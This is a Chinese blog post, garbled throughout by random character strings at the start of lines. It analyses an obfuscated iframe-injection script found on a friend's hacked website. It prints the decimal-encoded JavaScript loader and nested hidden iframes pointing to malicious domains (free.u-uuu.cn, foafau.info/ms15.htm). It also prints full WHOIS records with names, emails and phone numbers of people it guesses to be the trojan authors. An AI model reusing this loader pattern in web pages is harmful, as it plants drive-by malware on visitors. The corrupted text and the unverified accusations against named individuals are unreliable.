首发在我的博客里面，
Yb=Z `) bbA J5EqL http://www.areway.cn/?p=175 lMRy6fz I *$EcP`K$ xa$p,_W:' 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
X+; {&Efrl ^rIe"Kx <script>t=’60,105,102,114,97,109,101,
x>*#cOVz;C 32,115,114,99,61,104,116,116,112,58,47,47,
BY!M(X
jrZ 102,114,101,101,46,117,45,117,117,117,46,99,
~Lf>/w 110,47,101,114,114,111,114,46,104,116,109,
X9/]< Y<! 32,119,105,100,116,104,61,49,48,48,32,104,
9w08)2$ Na 101,105,103,104,116,61,48,62,60,47,105,102,
VKb'!Ystl 114,97,109,101,62′;
8V(-S, t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
$<v{$UOh $5S/~8g( <script>t=’60,105,102,114,97,109,101,32,115,
8*m=U@5] 114,99,61,104,116,116,112,58,47,47,102,114,
x9B5@2J1 101,101,46,117,45,117,117,117,46,99,110,47,
J4>k9~q 101,114,114,111,114,46,104,116,109,32,119,
]] Jg%}o 105,100,116,104,61,49,48,48,32,104,101,105,
_{ f7e^; 103,104,116,61,48,62,60,47,105,102,114,97,
)9?
^; HS 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
C
Ch38qBp document.write(t);</script>
8zWKKcf7t GjG t'
m* <html xmlns=”
l>iE1`iL< http://www.w3.org/1999/xhtml #oQDt' “>
XWNDpL`j5 <head>
EL+P,q/b <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
#5/.n.X" <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
ac< hz0 <title>首页 - 爱生活家庭网
fqQ( EVpQ '>0rp\jC 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
>+ E
转换字符串后的大概内容是（谁点击后果自付）：
c</u]TD <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
'X{J~fEI! %X>P+6<= 查询玉米u-uuu.cn的详细信息：
1@p'><\ Domain Name: u-uuu.cn
M@?,nzs
K ROID: 20070901s10001s64972306-cn
?K/N{GK%{ Domain Status: ok
ITf,
)?|]Y Registrant Organization: 王雷
H<w r usRg Registrant Name: 王雷
%.`<ud Administrative Email:
czlovexs@126.com sUTh}.[5 Sponsoring Registrar: 北京万网志成科技有限公司
|T;NoWO+ Name Server:ns.yovole.com
fjwUh>[ } Name Server:ns1.yovole.com
h:l4:{A64 Registration Date: 2007-09-01 17:54
TOvpv @?- Expiration Date: 2008-09-01 17:54
Z%1{B* (e 最后PING了一下地址 都没有什么….
)AoF-&,w t $yt8#Tk 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
?PSVVU q,Z <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
jZLD^@A P <script language=”javascript” src=”
1Z| {3W http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script g W(7jFl >
nD/;
Gq 这个玉米应该有可能是木马作者的：
"E/UNE6P4 foafau.info的详细信息：
u~VvGLFf5, Access to INFO WHOIS information is provided to assist persons in
c"x-_Uk determining the contents of a domain name registration record in the
8
DE%ot Afilias registry database. The data in this record is provided by
s%p,cz;
, Afilias Limited for informational purposes only, and Afilias does not
Q\ k|pg? guarantee its accuracy. This service is intended only for query-based
p:@JC sH= access. You agree that you will use this data only for lawful purposes
#V:28[ and that, under no circumstances will you use this data to: (a) allow,
QXg9ah~ enable, or otherwise support the transmission by e-mail, telephone, or
>;M?f! facsimile of mass unsolicited, commercial advertising or solicitations
9Vh> ty1|_ to entities other than the data recipient’s own existing customers; or
whdoG{/ (b) enable high volume, automated, electronic processes that send
U9:w ^t[Pp queries or data to the systems of Registry Operator, a Registrar, or
vh" > Z4 Afilias except as reasonably necessary to register domain names or
Z?_ t3 modify existing registrations. All rights reserved. Afilias reserves
Lkl+f~m the right to modify these terms at any time. By submitting this query,
q]r ?s%x you agree to abide by this policy.
wdzZ41y1 Domain ID:D22418703-LRMS
Y ]-7T-*+t Domain Name:FOAFAU.INFO
+r cDA| Created On:20-Nov-2007 16:05:42 UTC
U~1jmx E Last Updated On:20-Nov-2007 16:05:44 UTC
lIDGL05f' Expiration Date:20-Nov-2008 16:05:42 UTC
Pe<}kS
m 4 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
g (:%E Status:CLIENT DELETE PROHIBITED
bL9EX$P Status:CLIENT RENEW PROHIBITED
?!d\c(5Gt Status:CLIENT TRANSFER PROHIBITED
uxsfQ%3`# Status:CLIENT UPDATE PROHIBITED
) |SmB YV Status:TRANSFER PROHIBITED
:*0l*j Registrant ID:GODA-040110615
=SqI # v Registrant Name:liu hong
dOfEEqPI Registrant Organization:
U 6M3,"? Registrant Street1:beijing
~+r "% KnG Registrant Street2:
}'. k Registrant Street3:
2^.qKY@g@ Registrant City:beijing
h..D1(M Registrant State/Province:
e6JT|>9A7 Registrant Postal Code:100000
n 0*a. Registrant Country:CN
@M!Wos Rk Registrant Phone:+86.860108888777
c 6"hk_ Registrant Phone Ext.:
Fs|aH-9\ Registrant FAX:
lmjoSINy Registrant FAX Ext.:
~Vf+@_G8` Registrant Email:bbbshiji@163.com
1O{x9a5Z?O Admin ID:GODA-240110615
7g a|4j3% Admin Name:liu hong
*4<Kz{NF Admin Organization:
_Bo e" Admin Street1:beijing
z /&2Se: Admin Street2:
Y o$NE Admin Street3:
qh<h|C ]V Admin City:beijing
RHOEyXhOA Admin State/Province:
RCvf@[y4 Admin Postal Code:100000
/ Q8glLnM Admin Country:CN
)QO"1#zg@c Admin Phone:+86.860108888777
3x U i n Admin Phone Ext.:
Mw,7+ Admin FAX:
8H})Dq%d 7 Admin FAX Ext.:
sVjM^y2 4 Admin Email:bbbshiji@163.com
("
,(@nS Billing ID:GODA-340110615
O^W.5Sa R Billing Name:liu hong
z%cpV{Nu Billing Organization:
RV2s@<0p Billing Street1:beijing
n,+/ %IZ Billing Street2:
`*`@r o Billing Street3:
MsL*\)*s Billing City:beijing
6)B6c. 5o Billing State/Province:
$%ts#56* Billing Postal Code:100000
A^9 RGz4= Billing Country:CN
%1Pn;bUU! Billing Phone:+86.860108888777
hb _J. Q Billing Phone Ext.:
?k7z 5ow Billing FAX:
RO?%0-6O& Billing FAX Ext.:
zYW+Goz/C
Billing Email:bbbshiji@163.com
r6#It$NU Tech ID:GODA-140110615
(g8<"<
N? Tech Name:liu hong
=Z aTD-%id Tech Organization:
S3oSc<&2 Tech Street1:beijing
(4WAoye | Tech Street2:
3TDj WW;#~ Tech Street3:
r?l7_aBv3 Tech City:beijing
D0 f.XWd Tech State/Province:
TrBBV]4 Tech Postal Code:100000
H ]X Y Tech Country:CN
>#Obhs|S{C Tech Phone:+86.860108888777
bQ3EBJT{P Tech Phone Ext.:
+UGWTO\#ha Tech FAX:
_ +vE(:T Tech FAX Ext.:
yX' f"* Tech Email:bbbshiji@163.com
c9 c_7g'q- Name Server:NS27.DOMAINCONTROL.COM
R z Os, Name Server:NS28.DOMAINCONTROL.COM
S-$N! G~! Name Server:
:E>" z6H Name Server:
HL ^+:`, Name Server:
tlnU2TT_f Name Server:
?C[W~m P Name Server:
*88Q6=Mm Name Server:
aB N^J_ Name Server:
~rN:4Q]/ Name Server:
8?>
# Name Server:
vl "l Name Server:
cen[|yCtOH Name Server:
XmK2Xi;=b bAsoIra 接着下载每个文件里面的代码：
4zRz U 一步一步看..
i`Tp +e@a> 
C`Oc%~UkC 
S {q c1qj 
Hj>(kL9H 
Ob+Rnfx3 7 
~q.a<B`,t 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
